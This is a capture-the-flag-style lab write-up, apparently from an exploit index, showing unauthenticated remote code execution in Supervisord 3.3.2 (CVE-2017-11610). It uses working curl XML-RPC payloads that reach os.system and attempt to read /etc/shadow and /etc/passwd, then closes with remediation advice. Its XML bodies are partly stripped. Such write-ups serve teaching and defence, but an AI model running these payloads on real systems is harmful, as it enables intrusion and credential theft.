Share
## https://sploitus.com/exploit?id=8E4D5048-63AE-52FA-96BC-5DCAE1B1421E
# LAB 3 โ€” Supervisord XML-RPC Remote Code Execution (CVE-2017-11610)

---

# I. SYSTEM ANALYSIS

### Step 1 โ€” Identifying Attack Surface from the Docker Environment

Starting with what is running in the lab environment. With no prior information โ€” I list all active containers:

```bash
docker ps -a
```

```
CONTAINER ID   IMAGE            PORTS                          NAMES
3180809a679c   p1/lab03:latest  0.0.0.0:9001->9001/tcp         project1-lab03-1
7f88bd32936e   p1/lab02:latest  0.0.0.0:7001->7001/tcp         project1-lab02-1
ca9682ab168b   p1/lab01:latest  0.0.0.0:8001->8080/tcp         project1-lab01-1
...
```

Lab03 exposes **a single port: `9001`**.

This is the first key point โ€” not 80, not 443. `9001` is not a standard web app port.

**Thinking:** *Why 9001? What service uses this port by default? Need to probe directly to find out.*

---

### Step 2 โ€” Fingerprinting the Service Running on Port 9001

No assumptions. Curl directly to read the response:

```bash
curl -i http://192.168.3.137:9001/
```

```http
HTTP/1.1 200 OK
Content-Length: 1209
Server: Medusa/1.12
Pragma: no-cache
Cache-Control: no-cache
Date: Wed, 27 May 2026 16:20:10 GMT
Content-Type: text/html




  Supervisor Status
  ...


  ...
  
    No programs to manage
  
  ...
  
    Supervisor 3.3.2
  

```

**Response Analysis:**

| Observation | Meaning |
|---|---|
| `Server: Medusa/1.12` | This is Supervisord's internal HTTP server, not Nginx/Apache |
| `Supervisor Status` | Confirmed as the Supervisord management UI |
| `3.3.2` | Clear, specific version |
| No login form, no auth prompt | Access **requires no authentication** |

**Thinking:** *Supervisord is a process manager on Linux โ€” why is its web UI exposed publicly? By default, supervisord has `[inet_http_server]` disabled. Someone enabled it but failed to set a password. This is a misconfiguration.*

*But a UI misconfiguration alone isn't enough to cause major damage โ€” the question is: what else does Supervisord expose besides this web UI?*

---

### Step 3 โ€” Exploring the XML-RPC Protocol

Reading Supervisord's documentation, this daemon communicates with clients (`supervisorctl`) via a proprietary protocol called **XML-RPC**, exposed at the `/RPC2` endpoint.

This is the real danger โ€” not the web UI, but the **remote process control interface**.

Check if that endpoint is alive:

```bash
curl -X POST -H "Content-Type: text/xml" \
-d 'supervisor.getState' \
http://192.168.3.137:9001/RPC2
```

```xml





  statecode1
  statenameRUNNING




```

**Thinking:** *The `/RPC2` endpoint is alive and returns normal results. More importantly: it doesn't ask for credentials, no token, no session. Anyone calling into this is accepted.*

*Next question: How does the XML-RPC handler process the method name? Are there any limitations?*

---

### Step 4 โ€” Analyzing Method Name Processing in XML-RPC

Supervisord registers a handler named `supervisor` to receive commands like `supervisor.getState`, `supervisor.stopProcess`...

When the server receives a method name in the string format `a.b.c`, it **splits by the dot and performs recursive lookups**:

```python
# Pseudo-code of the internal lookup mechanism within supervisord
def dispatch(method_name, params):
    parts = method_name.split('.')     # ["supervisor", "getState"]
    obj = registered_handlers[parts[0]]  # retrieve the "supervisor" handler
    for attr in parts[1:]:
        obj = getattr(obj, attr)       # recursive getattr call
    return obj(*params)                # invoke the result
```

**Vulnerability point:** `getattr` lacks a whitelist โ€” it will traverse **any attribute** existing on the Python object, including imported modules.

**Thinking:** *If there's no filter, then from the registered `supervisor` object, we can climb deeper into the daemon's internal objects. The Supervisord object (`supervisord`) resides inside that handler. `supervisord` has an `options` object. `options` has imported the `warnings` module in Python. When `warnings` is loaded, it pulls in `linecache`. `linecache` imports `os`. `os` contains `system`.*

*Try this chain: `supervisor.supervisord.options.warnings.linecache.os.system`*

---

# II. EXPLOITATION

### Step 1 โ€” Understanding XML-RPC Request Structure to Write Payloads Manually

No Metasploit, no off-the-shelf exploit tools. The goal is to build the payload ourselves from our understanding of the protocol.

XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only **3 fixed components**:

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  1. XML version declaration                       โ”‚
โ”‚  2. Name of the function to call โ†’    โ”‚
โ”‚  3. Parameters passed in         โ†’        โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
```

Standard Template:

```xml


  FUNCTION_NAME
  
    
      VALUE
    
  

```

> **Thinking:** *Simple structure โ€” just replace `` and ``. If the function requires no parameters, leave `` empty. If the function requires a string, wrap it in `...`. This isn't secret knowledge โ€” reading the XML-RPC RFC gets you this.*

Application: call `supervisor.getState` (no parameters) using `curl`:

```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.getState' \
http://192.168.3.137:9001/RPC2
```

```xml





  statenameRUNNING
  statecode1




```

The server responds normally with `statename = RUNNING`. The protocol is functional, and the endpoint accepts requests without authentication.

---

### Step 2 โ€” Confirming Namespace Traversal Works in Practice

In the analysis phase, we determined that the recursive `getattr` mechanism has no whitelist. Now, we need to **prove this on a live system**.

Method of verification: call a deeper method name than usual โ€” if the server has a filter, it will return an `"unknown method"` error. If it is not filtered, it will return a different error (because the target object is not callable):

```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.supervisord.options' \
http://192.168.3.137:9001/RPC2
```

```html

Error response


Error response
Error code 500.
Message: Internal Server Error.

```

> **Thinking:** *The server returns an HTTP 500 Internal Server Error โ€” NOT an XML-RPC fault "unknown method". This is the key point: if a whitelist were present, the method name `supervisor.supervisord.options` would be rejected immediately at the dispatcher layer with an "unknown method" error. But 500 means the server successfully traversed through `supervisor` โ†’ `supervisord` โ†’ `options` via `getattr`, and then attempted to call `options()` as a function โ€” since `options` is a configuration object and not callable, it crashed.*
>
> *Conclusion: Namespace traversal works. Wherever the server is told to go, `getattr` follows without restriction.*

---

### Step 3 โ€” Finding the Path to the Command Execution Function

Traversal works โ†’ now we need to find an attribute chain **ending with a callable function** capable of executing system commands. In Python, that is `os.system()`.

Problem: no shell on the server, cannot read source code directly. We must **infer from Python internals**:

- Supervisord is written in Python โ†’ the `options` object is a massive class, which is bound to import many modules
- In Python, an imported module becomes an attribute of its parent module
- The `warnings` module is highly common (most Python apps import it directly or indirectly)
- `warnings` imports `linecache` (to read source code and display warning context)
- `linecache` imports `os`
- `os` has the `system()` function

Confirm this dependency chain on the local machine before trying on the target:

```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# โ†’ True

python3 -c "import linecache; print('os' in dir(linecache))"
# โ†’ True

python3 -c "import os; print(callable(os.system))"
# โ†’ True
```

> **Thinking:** *Import dependency chain confirmed locally: `warnings` โ†’ `linecache` โ†’ `os` โ†’ `system`. This isn't guesswork โ€” this is a real dependency in the CPython stdlib. If supervisord imports `warnings` (or any module that pulls in `warnings`), we can reach `os.system` from the `options` object.*

Complete traversal chain:

```
supervisor โ†’ supervisord โ†’ options โ†’ warnings โ†’ linecache โ†’ os โ†’ system
     โ†‘            โ†‘           โ†‘          โ†‘           โ†‘        โ†‘      โ†‘
  handler    daemon obj   config    Python mod   Python mod  stdlib  callable!
```

---

### Step 4 โ€” Constructing the RCE Payload and Execution

`os.system()` takes **1 string parameter** (the shell command) and returns an **exit code**. It does NOT return stdout โ€” the output is printed to the server console, not sent back in the XML-RPC response.

> **Thinking:** *No direct output visible โ†’ we need to redirect the output to a file. `/tmp/` is a directory writable by all users on Linux. Run `id > /tmp/rce_proof.txt` then read that file to confirm.*

Applying the XML-RPC template understood in Step 1, replace `` with the traversal chain and pass the shell command inside ``:

```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' \
http://192.168.3.137:9001/RPC2
```

```xml




0



```

Exit code `0` โ€” shell command executed successfully. Read the output:

```bash
docker exec project1-lab03-1 cat /tmp/rce_proof.txt
```

```
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
```

**RCE Confirmed.** The `id` command executed inside the container. The process runs under the `nobody` user (uid=65534).

---

### Step 5 โ€” Identifying Privilege Limits

With RCE achieved, the next question is: what privileges do we have, and where are the limits?

> **Thinking:** *`nobody` is the lowest-privileged user on Linux. But how "low" specifically? Try reading `/etc/shadow` โ€” a file readable only by root and the `shadow` group. If readable โ†’ the process is actually running as root. If blocked โ†’ privileges are truly restricted.*

```bash
curl -s -X POST -H "Content-Type: text/xml" \
-d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' \
http://192.168.3.137:9001/RPC2
```

```xml

256

```

Exit code `256` (= shell exit code 1 ร— 256, due to `os.system` wrapping). Read the output:

```bash
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
```

```
cat: /etc/shadow: Permission denied
```

Check file permissions:

```
-rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow
```

`nobody` does not belong to the `shadow` group โ†’ cannot read. **Privileges are truly restricted** โ€” a clear difference from Lab 1 (Struts2) which ran as root and allowed unrestricted reading.

---

# III. POST-EXPLOITATION

### Verifying Execution Privileges

From the `id` output:

```
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
```

The supervisord process runs under the **`nobody`** user โ€” the lowest-privileged user on a Unix system.

Reason: the container's entrypoint calls:
```bash
supervisord --user nobody -c /usr/local/etc/supervisord.conf
```

This is an **important distinction compared to Lab 1 (Struts2)** โ€” in Lab 1, the process ran as root, letting us read `/etc/shadow`. Here, trying:

```python
server.supervisor.supervisord.options.warnings.linecache.os.system(
    'cat /etc/shadow > /tmp/shadow_dump.txt 2>&1'
)
```

```
Exit code: 256   # exit code 1 from shell, wrapped as 256 by os.system()
```

```bash
cat /tmp/shadow_dump.txt
# โ†’ cat: /etc/shadow: Permission denied
```

Check file permissions:
```
-rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow
```

`nobody` does not belong to the `shadow` group, cannot read. **Privileges are restricted.**

---

### Gathering System Information

Although we cannot read shadow, we still have RCE with `nobody` privileges. Collect what is permitted:

**Running process list:**

```python
server.supervisor.supervisord.options.warnings.linecache.os.system(
    'ps aux > /tmp/ps_output.txt'
)
```

```
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   5492  3196 ?        Ss   16:19   0:00 /bin/bash /usr/local/bin/docker-entrypoint.sh
nobody      10  0.0  0.0  27136 17836 ?        Ss   16:19   0:00 /usr/local/bin/python /usr/local/bin/supervisord ...
nobody      64  0.0  0.0   2392  1576 ?        S    16:26   0:00 sh -c ps aux > /tmp/ps_output.txt
```

Observation: PID 1 is `/bin/bash` running under **root** โ€” meaning the container's shell entrypoint is root. Only supervisord has its privileges demoted to `nobody`.

**User information on the system:**

```python
server.supervisor.supervisord.options.warnings.linecache.os.system(
    'cat /etc/passwd > /tmp/passwd_dump.txt'
)
```

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

Minimal system โ€” only default users, no additional service users.

---

### Remarks on Reverse Shell

A reverse shell in this environment **cannot be established** because the container runs inside a Docker bridge network (NAT) โ€” the container cannot initiate outbound connections back to the LAN. However, this does not diminish the severity of the vulnerability: **RCE is confirmed, and arbitrary commands can be executed inside the system.**

---

# IV. RISK ASSESSMENT & RECOMMENDATIONS

### Risk Assessment

| **Criterion** | **Assessment** | **Details** |
|---|---|---|
| **CVSS Score** | **9.8 (Critical)** | Unauthenticated RCE |
| **Authentication** | Not required | Default config lacks username/password |
| **Complexity** | Extremely low | A simple Python command, no tools required |
| **Privileges Gained** | `nobody` (low) | Restricted from reading sensitive files, but can still execute commands, manipulate files in `/tmp`, and pivot internally |
| **Internal Network Pivoting** | Feasible | `nobody` can still scan and connect to other containers in the same bridge network |

### Comparison with Previous Labs

| | Lab 1 โ€” Struts2 | Lab 3 โ€” Supervisord |
|---|---|---|
| **Trigger** | Content-Type parsing error โ†’ OGNL eval | XML-RPC method traversal โ†’ `os.system` |
| **Auth** | Not required | Not required |
| **Privilege** | `root` โ€” full control | `nobody` โ€” restricted |
| **Impact** | Read `/etc/shadow`, full control | Restricted RCE, requires further escalation |

### Remediation Recommendations

**Urgent Priority:**

1. **Upgrade Supervisord** to version `>= 3.3.3`. The patched version completely eliminates the recursive namespace lookup mechanism in XML-RPC.

2. **Enable authentication for `[inet_http_server]`** in `supervisord.conf`:
   ```ini
   [inet_http_server]
   port=0.0.0.0:9001
   username=admin
   password=
   ```

**High Priority:**

3. **Restrict binding address:** Only bind on `127.0.0.1` instead of `0.0.0.0` if remote management is not required:
   ```ini
   [inet_http_server]
   port=127.0.0.1:9001
   ```

4. **Firewall:** If exposing publicly is absolutely necessary, use firewall rules to allow only administrative IPs to connect to port 9001.